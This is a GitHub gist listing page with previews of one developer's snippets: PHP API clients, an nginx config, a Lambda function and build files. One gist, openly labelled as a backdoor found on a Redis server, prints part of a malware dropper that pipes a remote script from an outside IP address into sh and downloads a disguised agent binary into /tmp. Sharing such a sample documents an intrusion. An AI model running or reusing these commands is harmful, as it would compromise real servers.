Skip to content

Instantly share code, notes, and snippets.

View voduytuan's full-sized avatar

Vo Duy Tuan voduytuan

View GitHub Profile
@voduytuan
voduytuan / topology.md
Last active January 24, 2024 08:27
mermaidjs example

Example MermaidJs diagram

graph TD;
subgraph I [Public Internet]
IA[Webapp - app.domain];
IB[Public Website - www.domain];
IC[Restful API - api.domain];
ID[Identity Provider - id.domain];
end
@voduytuan
voduytuan / text-detector.php
Last active December 2, 2020 02:25
Text Detection with Google Cloud Vision by PHP
# use package "google/cloud-vision": "^1.2.2"
<?php
use Google\Cloud\Vision\V1\ImageAnnotatorClient;
use Google\Cloud\Vision\V1\TextAnnotation;
$imageAnnotatorClient = new ImageAnnotatorClient([
'credentials' => './service-account-key.json'
]);
@voduytuan
voduytuan / graphql-client-query-waveapps.php
Last active April 18, 2020 03:53
Query Wave GraphQL to get `businesses` with mghoneimy/php-graphql-client
<?php
use GraphQL\Client;
use GraphQL\Query;
$endpoint = 'https://gql.waveapps.com/graphql/public';
$client = new Client($endpoint, [
'Authorization' => 'Bearer <<FULL_ACCESS_TOKEN_FROM_WAVEAPPS>>'
]);
@voduytuan
voduytuan / Circle_AA.png
Last active June 2, 2018 07:26
Backdoor found on redis server
#get from
# curl http://185.169.198.42/assets/Circle_AA.png|sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
AGENT_FILE='/tmp/Circle_MI.png'
AGENT_CONFIG='/tmp/Circle_CF.png'
ps -ef|grep $AGENT_FILE|grep -v grep
if [ $? -ne 0 ]; then
if [ -x /usr/bin/wget ] ; then
wget -q http://185.169.198.42/assets/Circle_MI.png -O $AGENT_FILE
@voduytuan
voduytuan / ImageResizer.php
Created May 26, 2017 07:55
Generate LQIP (Low quality image placeholder) from PHP
<?php
namespace Litpi;
define('MEMORY_TO_ALLOCATE', '100M');
/**
* Resize image
* - provide crop to square size image
* - provide 4 corner to create round corner image (advanced)
*/
@voduytuan
voduytuan / nginx-localhost
Created December 23, 2016 15:37
Nginx vhost configuration with forward ip (behide proxy such as haproxy) and hide sensitive data
log_format mainproxy '$http_x_forwarded_for - $remote_user [$time_local] ' '"$temp" $status $body_bytes_sent "$http_referer" ' '"$http_user_agent"' ;
server {
listen 80;
root /var/www/src;
index index.html index.htm index.php;
# Make site accessible from http://set-ip-address.xip.io
server_name localhost;
<?php
/**
* Download from: https://github.com/raulferras/PHP-po-parser/tree/master/src/Sepia
*/
include('./libs/Sepia/InterfaceHandler.php');
include('./libs/Sepia/FileHandler.php');
include('./libs/Sepia/StringHandler.php');
include('./libs/Sepia/PoParser.php');
importScripts('js/sw-toolbox.js');
toolbox.options.debug = false;
toolbox.precache(['/']);
//FOr homepage, we use fastest so that it update new content for next request
toolbox.router.get('/', toolbox.fastest);
// The route for the images
@voduytuan
voduytuan / ses-receiving-lambda
Last active July 16, 2016 04:06
ses-receiving-lambda.js
'use strict';
let AWS = require('aws-sdk');
// We need this to build our post string
let http = require('http');
let fs = require('fs');
function makePostRequest(data) {
// Build the post string from an object
var post_data = JSON.stringify(data);
@voduytuan
voduytuan / build.js
Created April 24, 2016 02:33
Teamcrop Front-end Requirejs Optimizer build file
({
baseUrl: 'js/',
out: 'js/main-built.js',
/* DO NOT CHANGE THIS LINE (IT WILL BE USED BY GULP TASK TO GENERATE ALL MODULES FOR REQUREIJS) */
include: ['main', 'requireLib'],
/* DO NOT CHANGE ABOVE LINE */
//optimizeAllPluginResources: true,
fileExclusionRegExp: /^((r|build)\.js)$/,